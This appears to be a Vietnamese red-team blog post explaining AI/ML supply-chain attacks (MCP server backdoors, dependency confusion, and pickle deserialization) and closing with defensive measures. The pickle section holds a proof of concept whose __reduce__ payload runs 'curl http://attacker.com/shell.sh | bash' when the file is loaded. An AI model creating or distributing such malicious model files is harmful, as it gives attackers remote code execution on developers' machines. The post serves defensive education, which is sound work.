0

Tấn Công Thực Thi Mã Trong Chuỗi Cung Ứng AI/ML: Khi Tải Model Là Chạy Mã Độc

Đây là bài đầu tiên trong series Supply Chain Attack nhằm vào hệ thống AI/ML. Series này được viết theo góc nhìn của red team, không phải để phổ biến tấn công, mà để giúp các nhà phát triển AI hiểu rõ rủi ro đang tiềm ẩn trong workflow hằng ngày của mình.


Tại Sao Chuỗi Cung Ứng AI/ML Lại Nguy Hiểm Đến Vậy?

Năm 2024, đội ngũ bảo mật của JFrog phát hiện hơn 100 model ML độc hại trên Hugging Face. Điều đáng lo ngại không phải là chúng tồn tại — mà là cơ chế hoạt động: chỉ cần tải model về và load lên, reverse shell đã được kích hoạt trên máy nạn nhân, không cần thêm bất kỳ thao tác nào.

Không lâu sau đó, nhóm tác nhân đe dọa NullBulge tiếp tục đầu độc các repository công khai trên GitHub và Hugging Face, phân phối malware nhắm thẳng vào các developer AI. Năm 2025, Unit 42 (Palo Alto) chứng minh thêm một vector mới: kẻ tấn công đăng ký lại namespace của model đã bị xóa trên Hugging Face — các pipeline đang chạy âm thầm kéo về model bị xâm phạm mà không hề hay biết.

Điểm chung của tất cả các vụ trên? Kẻ tấn công không cần phá vỡ bất kỳ hàng rào bảo mật nào. Chúng tấn công vào sự tin tưởng.

Trong bài này, chúng ta sẽ đi sâu vào ba kỹ thuật tấn công thực thi mã phổ biến nhất trong chuỗi cung ứng AI/ML: MCP backdoor, Dependency Confusion, và Pickle deserialization.


1. MCP Backdoor — Cửa Sau Ẩn Trong Công Cụ Của Bạn

MCP là gì?

Model Context Protocol (MCP) là giao thức cho phép các LLM như Claude, GPT giao tiếp với công cụ bên ngoài — database, API, filesystem. Nếu bạn đang dùng Claude, Cursor, hay bất kỳ AI agent nào, rất có khả năng bạn đang chạy ít nhất một MCP server trong môi trường của mình.

Chính vì MCP server thường được cài đặt một lần và dùng xuyên suốt nhiều team, nhiều dự án — chúng trở thành mục tiêu lý tưởng cho tấn công chuỗi cung ứng.

Kịch bản tấn công

Giả sử đội ngũ của bạn đang dùng một MCP server mã nguồn mở để quản lý dataset sinh học — ví dụ mcp-biotools. Kẻ tấn công fork repository này, thêm backdoor vào đúng hàm được gọi thường xuyên nhất (list_datasets), rồi tìm cách để bạn clone về và chạy.

Cách đơn giản nhất mà cũng dễ bị phát hiện nhất là nhúng thẳng một reverse shell:

image.png

Đoạn code trên sẽ ngay lập tức bị SAST, EDR, hay AV phát hiện. Vì vậy, kẻ tấn công tinh vi hơn sẽ nhúng backdoor theo cách kín đáo hơn nhiều (tôi sẽ bàn kỹ ở bài sau khi nói về kỹ thuật né tránh).

Rủi ro thực tế: MCP server không phải là code bạn review kỹ. Chúng thường được cài đặt nhanh, ít được kiểm tra lại, và chạy ngầm với đầy đủ quyền truy cập vào môi trường làm việc.


2. Dependency Confusion — Khi Package Manager Bị Lừa

Cơ chế hoạt động

Nhiều tổ chức dùng private registry để host các package nội bộ — ví dụ funtap-core chỉ tồn tại trên registry nội bộ của công ty. Dependency Confusion khai thác một điểm yếu đơn giản: nếu kẻ tấn công đăng ký package cùng tên lên PyPI công khai với version cao hơn, pip sẽ tải về package giả mạo thay vì package nội bộ.

pip install funtap-core
# pip kiểm tra: PyPI có version 9.9.9, registry nội bộ có version 1.2.0
# → pip tải về version 9.9.9 từ PyPI (cao hơn) ← đây là trap

Package giả mạo trông hoàn toàn bình thường — nó forward tất cả import về package gốc, chỉ thêm một đoạn code thực thi trong setup.py hoặc __init__.py.

Tại sao AI/ML đặc biệt dễ bị ảnh hưởng?

Các dự án ML thường có dependency tree rất phức tạp — hàng chục, thậm chí hàng trăm package. Khi cài đặt environment mới (onboarding thành viên, tạo Docker image, chạy CI/CD), tất cả được cài tự động từ requirements.txt mà ít ai đọc kỹ từng dòng.


3. Pickle Deserialization — Mở File Model Là Chạy Code

Vấn đề với Pickle

Pickle là định dạng serialization mặc định của Python, và cũng là định dạng phổ biến nhất để lưu ML model (PyTorch dùng Pickle, joblib.dump() cũng dùng Pickle, torch.save() cũng vậy). Vấn đề nằm ở thiết kế cơ bản của nó.

Khi bạn gọi pickle.load(f), Python không chỉ đọc dữ liệu — nó thực thi bytecode. Cụ thể, Pickle cho phép định nghĩa hành vi deserialization thông qua phương thức __reduce__:

import pickle, os

class MaliciousModel:
    def __reduce__(self):
        # Đây là "gadget function" — được thực thi khi load
        return (os.system, ('curl http://attacker.com/shell.sh | bash',))

# Tạo model độc hại
with open('model.pkl', 'wb') as f:
    pickle.dump(MaliciousModel(), f)

# Nạn nhân load model → lệnh trên được thực thi ngay lập tức
with open('model.pkl', 'rb') as f:
    model = pickle.load(f)

Không có cách nào để "đọc an toàn" một Pickle file mà không thực thi code bên trong nó. Đây không phải bug — đây là đặc tính thiết kế.

Phạm vi ảnh hưởng

Các định dạng phổ biến trong ML ecosystem dễ bị ảnh hưởng bởi vấn đề này:

  • PyTorch .pt / .pth — dùng Pickle internally, torch.load() có thể thực thi code tùy ý
  • Scikit-learn models — thường được save bằng joblib.dump() hoặc pickle.dump()
  • Joblib — tương tự Pickle nhưng tối ưu cho numpy arrays; vẫn có cùng vấn đề thực thi code

Các định dạng an toàn hơn (không thực thi code khi load):

  • SafeTensors — được Hugging Face phát triển đặc biệt để thay thế Pickle, chỉ lưu tensor data
  • ONNX — định dạng mở, không thực thi code tùy ý khi load
  • GGUF — dùng phổ biến cho các model quantized như LLaMA

JFrog tìm thấy gì trên Hugging Face?

Hơn 100 model ML độc hại được JFrog phát hiện đều có điểm chung: chúng trông như model bình thường — có README, có metrics, có download count — nhưng bên trong file .pkl là payload nhúng reverse shell. Người dùng tải về, chạy torch.load(), máy bị kiểm soát hoàn toàn.


Tổng Kết và Phòng Thủ

Ba vector tấn công trên đều có một điểm chung: chúng khai thác workflow bình thường của developer ML — tải model, cài package, dùng tool. Không cần exploit lỗ hổng zero-day.

Một số biện pháp phòng thủ cơ bản:

Với MCP server: Review source code trước khi chạy, đặc biệt với các server community, không dùng thẳng fork chưa được kiểm chứng.

Với Dependency Confusion: Cấu hình pip chỉ kéo từ private registry với --index-url, không dùng --extra-index-url (vẫn có thể bị confused). Đặt tên package nội bộ với prefix đặc biệt của tổ chức.

Với Pickle: Chuyển sang SafeTensors cho model weights. Nếu bắt buộc dùng Pickle, chỉ load từ nguồn đã được xác thực và ký. Dùng picklescan để quét trước khi load — nhưng lưu ý: nó không phải giải pháp hoàn hảo, chúng ta sẽ thấy cách bypass ở bài 3.


Bài tiếp theo sẽ đi sâu vào một lớp tấn công tinh vi hơn: thay vì nhúng code độc hại để thực thi ngay, kẻ tấn công can thiệp vào chính quá trình huấn luyện model — đầu độc training data, giả mạo LoRA adapter, và thao túng tokenizer để tạo ra những model hành xử theo ý muốn của chúng.



All rights reserved

Viblo
Hãy đăng ký một tài khoản Viblo để nhận được nhiều bài viết thú vị hơn.
Đăng kí